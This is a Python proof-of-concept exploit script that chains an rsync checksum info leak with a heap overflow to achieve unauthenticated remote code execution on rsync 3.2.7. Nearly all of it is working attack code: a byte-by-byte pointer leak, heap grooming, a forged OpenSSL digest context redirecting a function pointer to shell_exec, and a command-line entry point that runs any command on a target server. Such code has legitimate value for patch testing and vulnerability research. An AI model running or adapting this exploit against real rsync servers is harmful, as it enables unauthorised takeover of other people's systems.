Files
2026-04-09 10:38:23 -07:00

315 lines
13 KiB
Python

#!/usr/bin/env python3
"""
Combined CVE-2024-12085 + CVE-2024-12084 → Unauthenticated RCE on rsync.
Phase 1 — Info leak: Leak a .text pointer via the xxh64 checksum oracle.
Phase 2 — Heap overflow: Single-connection write-what-where that plants a
fake EVP_MD_CTX + EVP_MD in .bss and overwrites ctx_evp.
Trigger path (from OpenSSL 3.0.2 libcrypto disassembly):
sum_init() → EVP_DigestInit_ex(ctx_evp, ...) → EVP_MD_CTX_reset(ctx_evp)
→ internal_cleanup(ctx, 0, 0):
rdi = ctx[0x38] (algctx → command string)
rax = ctx[0x08] (digest → fake EVP_MD)
rax = digest[0xb0] (freectx → shell_exec)
call *rax → shell_exec(cmd)
Layout challenge: sum_buf entries are 40 bytes, but EVP_MD_CTX fields at
+0x08 and +0x38 are 48 bytes apart (48 not divisible by 40).
Solution: place fake_ctx at slot+6 so [0x08] uses sum1+chain (split 8-byte
write) and [0x38] lands on the next entry's sum2.
Target: rsync 3.2.7 (unpatched), xxhash + OpenSSL 3.x.
Offsets are binary-specific — adjust the constants below.
Usage:
python3 poc_rce.py rsync://<host>:<port>/<module> '<command>'
"""
import struct, sys, time
import xxhash
import rsync_lib as R
# ── Binary offsets (nm /tmp/rsync-3.2.7/rsync) ──────────────
CHECK_COMPRESSION_OFFSET = 0x436f7 # set_compression+599
SHELL_EXEC_OFFSET = 0x2b970 # shell_exec()
CTX_EVP_OFFSET = 0x9dc28 # EVP_MD_CTX *ctx_evp
XFER_SUM_NNI_OFFSET = 0x89310 # SHA1 entry in valid_checksums_items
# ── OpenSSL 3.0.2 struct offsets (from disassembly) ─────────
# EVP_MD_CTX (72 = 0x48 bytes):
# +0x08 = digest (const EVP_MD*)
# +0x10 = engine (ENGINE*) — must be NULL
# +0x18 = flags (uint32) — must have 0x402 set
# +0x20 = md_data — must be NULL
# +0x28 = pctx — skipped if flags & 0x400
# +0x38 = algctx (void*) — 1st arg to freectx
# +0x40 = fetched_digest — must be NULL
#
# EVP_MD:
# +0xb0 = freectx function pointer
# +0x40 = cleanup callback — skipped if flags & 0x02
# ── Heap overflow constants ─────────────────────────────────
CHECKSUM_SEED = 1337
SUM_BUF_SIZE = 40
SUM_BUF_OFF = 22 # offsetof(sum_buf, sum2)
TCACHE_MIN, TCACHE_MAX, TCACHE_STEP, TCACHE_SLOTS = 24, 1032, 16, 7
def send_args(rc, compress=False):
rc.write_line('--server'); rc.write_line('--sender')
rc.write_line('--compress-choice=zlib' if compress else '--no-compress')
rc.write_line('--no-iconv')
rc.write_line(f'--checksum-seed={CHECKSUM_SEED}')
rc.write_line('--checksum')
for o in ['--no-crtimes','--no-atimes','--no-owner','--no-group',
'--no-devices','--no-specials','--no-links','--no-hard-links',
'--no-acls','--no-inc-recursive']:
rc.write_line(o)
rc.write_line('-r'); rc.write_line('-e.v')
# ═══════════════════════════════════════════════════════════
# Phase 1 — Info Leak
# ═══════════════════════════════════════════════════════════
def leak_pointer(url):
rc = R.connect(url, '31', 'xxh64')
send_args(rc); rc.write_line('.'); rc.write_line('./'); rc.write_line('')
rc.setup_protocol(); rc.write_raw_int(0)
files = rc.read_file_list()
tgt = next(f for f in files if R.is_reg(f.mode) and f.size < (1<<17))
ti = files.index(tgt)
data = rc.download_file(ti, tgt); rc.close()
s1 = R.adler32_rsync(data)
h = xxhash.xxh64(seed=CHECKSUM_SEED); h.update(data)
s2 = struct.pack('<Q', h.intdigest())
print(f"[*] Phase 1: info leak | file={tgt.name} size={tgt.size}")
for j in range(8):
for i in range(256):
try:
rc = R.connect(url, '31', 'xxh64')
send_args(rc, compress=True)
rc.write_line('.'); rc.write_line(rc.module+'/'); rc.write_line('')
rc.setup_protocol(); rc.write_raw_int(0); rc.read_file_list()
rc.write_ndx(ti); rc.write_short_int(R.ITEM_TRANSFER_FLAG)
ov = s2 + bytes([i])
rc.write_raw_int(3277); rc.write_raw_int(tgt.size)
rc.write_raw_int(len(ov)); rc.write_raw_int(0)
rc.write_bulk((struct.pack('<I', s1) + ov) * 3277)
rc.read_ndx(); rc.read_short_int()
rc.read_int(); rc.read_int(); rc.read_int(); rc.read_int()
sig, _ = rc.receive_deflate_token(); rc.close()
if sig < 0:
print(f" sum2[{8+j}] = 0x{i:02x}")
s2 += bytes([i]); break
except: continue
ptr = struct.unpack('<Q', s2[8:])[0]
base = ptr - CHECK_COMPRESSION_OFFSET
print(f"[+] Leaked .text ptr : 0x{ptr:x}")
print(f"[+] Binary base : 0x{base:x}")
return base, s1, tgt, ti
# ═══════════════════════════════════════════════════════════
# Phase 2 — Heap Overflow → RCE (Phrack approach)
# ═══════════════════════════════════════════════════════════
def do_rce(url, base, command, file_sum1, tgt, tgt_ndx):
"""
Single-connection overflow following the Phrack "one-shot" approach:
corrupt s->sums to point at &ctx_evp, set s->s2length to the full
payload size, then write a CONTIGUOUS payload in a single read_buf
call directly to .bss:
[ctx_evp ptr][fake EVP_MD_CTX (72B)][fake EVP_MD (~184B)][cmd string]
Trigger: sum_init → EVP_DigestInit_ex(ctx_evp) → EVP_MD_CTX_reset
→ ctx->digest->freectx(ctx->algctx) → shell_exec(cmd)
"""
shell_exec = base + SHELL_EXEC_OFFSET
ctx_evp = base + CTX_EVP_OFFSET
print(f"\n[*] Phase 2: heap overflow → RCE")
print(f" shell_exec = 0x{shell_exec:x}")
print(f" ctx_evp = 0x{ctx_evp:x}")
# ── Build the contiguous .bss payload ────────────────
# Written at &ctx_evp by one read_buf(f, sums[extra].sum2, s2length)
#
# Layout (offsets from &ctx_evp):
# 0x000: ctx_evp value → points to fake_ctx (at +8)
# 0x008: fake EVP_MD_CTX (72 bytes = 0x48)
# +0x08: digest → fake EVP_MD (at payload +0x50)
# +0x18: flags = 0x400 (skip pctx cleanup)
# +0x38: algctx → cmd string (at payload +0x50+0xb8)
# all others: 0
# 0x050: fake EVP_MD (need at least 0xb8 bytes)
# +0xb0: freectx = shell_exec
# all others: 0
# 0x108: command string + null terminator
fake_ctx_off = 8
fake_evp_md_off = fake_ctx_off + 0x48 # 0x50 = 80
cmd_off = fake_evp_md_off + 0xb8 # 0x108 = 264
cmd_bytes = command.encode('latin-1') + b'\x00'
payload_size = cmd_off + len(cmd_bytes)
fake_ctx_addr = ctx_evp + fake_ctx_off
fake_evp_md_addr = ctx_evp + fake_evp_md_off
cmd_addr = ctx_evp + cmd_off
xfer_sum_nni = base + XFER_SUM_NNI_OFFSET
payload = bytearray(payload_size)
# ctx_evp pointer → fake_ctx
struct.pack_into('<Q', payload, 0, fake_ctx_addr)
# Preserve critical globals that our payload overwrites in .bss:
# xfer_sum_nni at ctx_evp+0x30 — needed for sum_init to take the EVP path
struct.pack_into('<Q', payload, 0x30, xfer_sum_nni)
# fake EVP_MD_CTX fields (at +8)
struct.pack_into('<Q', payload, fake_ctx_off + 0x08, fake_evp_md_addr) # digest
struct.pack_into('<I', payload, fake_ctx_off + 0x18, 0x400) # flags
struct.pack_into('<Q', payload, fake_ctx_off + 0x38, cmd_addr) # algctx
# fake EVP_MD: only freectx at +0xb0 matters
struct.pack_into('<Q', payload, fake_evp_md_off + 0xb0, shell_exec)
# command string
payload[cmd_off:cmd_off + len(cmd_bytes)] = cmd_bytes
print(f" payload = {payload_size} bytes at &ctx_evp")
print(f" fake_ctx = 0x{fake_ctx_addr:x} (+{fake_ctx_off})")
print(f" fake_evpmd = 0x{fake_evp_md_addr:x} (+{fake_evp_md_off})")
print(f" cmd_addr = 0x{cmd_addr:x} (+{cmd_off})")
# ── Overflow: redirect sums + set s2length = payload_size ──
groom_count = 5
n_extra = 1 # just ONE extra entry
s2len_initial = 64
sums_base = ctx_evp - groom_count * SUM_BUF_SIZE - SUM_BUF_OFF
overflow_payload = bytearray(s2len_initial)
struct.pack_into('<Q', overflow_payload, 18, 0x31) # chunk metadata
off = 26
struct.pack_into('<Q', overflow_payload, off, 0) # flength
struct.pack_into('<Q', overflow_payload, off + 8, sums_base & 0xFFFFFFFFFFFFFFFF) # sums
struct.pack_into('<I', overflow_payload, off + 16, groom_count + n_extra) # count=6
struct.pack_into('<I', overflow_payload, off + 20, 1337) # blength
struct.pack_into('<I', overflow_payload, off + 24, 0) # remainder
struct.pack_into('<I', overflow_payload, off + 28, payload_size) # s2length!
# ── Connect and send ─────────────────────────────────
rc = R.connect(url, '31', 'sha1')
send_args(rc, compress=True)
# Tcache defragmentation: fill all bins so allocations come from wilderness
for sz in range(TCACHE_MIN, TCACHE_MAX + 1, TCACHE_STEP):
for _ in range(TCACHE_SLOTS * 2):
rc.write_line('-M-' + 'A' * (sz - 2))
rc.write_line('.'); rc.write_line('./'); rc.write_line('')
rc.setup_protocol()
# Heap grooming: single filter creates pattern(200B) + filter_rule(48B).
# Free with '!' pushes both to tcache. sum_struct(48B) lands right after
# sums(200B) giving us an 8-byte gap (chunk header only).
# NOTE: on our glibc 2.35, a second filter "+" a" creates an extra 48B
# chunk in the gap. Omitting it gives the correct diff=8 layout.
filt = '+ ' + 'Z' * (groom_count * SUM_BUF_SIZE - 1)
rc.write_raw_int(len(filt) + 1); rc.write_line(filt)
rc.write_raw_int(2); rc.write_line('!')
rc.write_raw_int(0)
files = rc.read_file_list()
ndx = next(i for i, f in enumerate(files) if R.is_reg(f.mode) and f.size > 0)
print(f" target ndx={ndx} file={files[ndx].name}")
rc.write_ndx(ndx)
rc.write_short_int(R.ITEM_TRANSFER_FLAG)
# ── Send sum head (for the initial grooming entries) ──
rc.write_raw_int(groom_count) # count = 5
rc.write_raw_int(1337) # blength
rc.write_raw_int(s2len_initial) # s2length = 64
rc.write_raw_int(0) # remainder
# ── Send grooming entries (all use the same overflow payload) ──
bulk = bytearray()
for j in range(groom_count):
bulk += struct.pack('<I', 0) # sum1 (don't care)
bulk += bytes(overflow_payload) # 64 bytes of sum2
rc.write_bulk(bytes(bulk))
# ── Send the ONE extra entry: sum1 (4B) + sum2 (payload) ──
print(f" sending payload ({payload_size} bytes) to &ctx_evp...")
ext_bulk = struct.pack('<I', 0) + bytes(payload)
rc.write_bulk(bytes(ext_bulk))
print(f" overflow complete, consuming server output...")
# ── Consume server output to unblock the trigger ─────
# After receive_sums, the server enters match_sums → hash_search →
# sum_init → EVP_DigestInit_ex(ctx_evp) → EVP_MD_CTX_reset →
# internal_cleanup → freectx(algctx) → shell_exec(cmd)
#
# We must read the server's echo (ndx + sum_head) so it doesn't
# block on write().
rc.sock.settimeout(10.0)
try:
# Read NDX echo + iflags
rc.read_ndx()
rc.read_short_int()
print(f" read ndx echo OK")
# Read sum head echo (count, blength, s2length, remainder)
echo_count = rc.read_int()
echo_bl = rc.read_int()
echo_s2 = rc.read_int()
echo_rem = rc.read_int()
print(f" sum head echo: count={echo_count} bl={echo_bl} "
f"s2={echo_s2} rem={echo_rem}")
# The server now enters match_sums → sum_init → trigger.
# shell_exec forks+exec's the command, then returns.
# Wait for any output or connection close.
time.sleep(3)
try:
while True:
d = rc.sock.recv(4096)
if not d:
break
except:
pass
except Exception as e:
print(f" server connection ended: {e}")
try:
rc.close()
except:
pass
time.sleep(1)
print(f"[+] Payload delivered — check if command executed.")
def main():
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} rsync://<host>:<port>/<module> '<command>'")
sys.exit(1)
url, command = sys.argv[1], sys.argv[2]
base, file_sum1, tgt, tgt_ndx = leak_pointer(url)
do_rce(url, base, command, file_sum1, tgt, tgt_ndx)
if __name__ == '__main__':
main()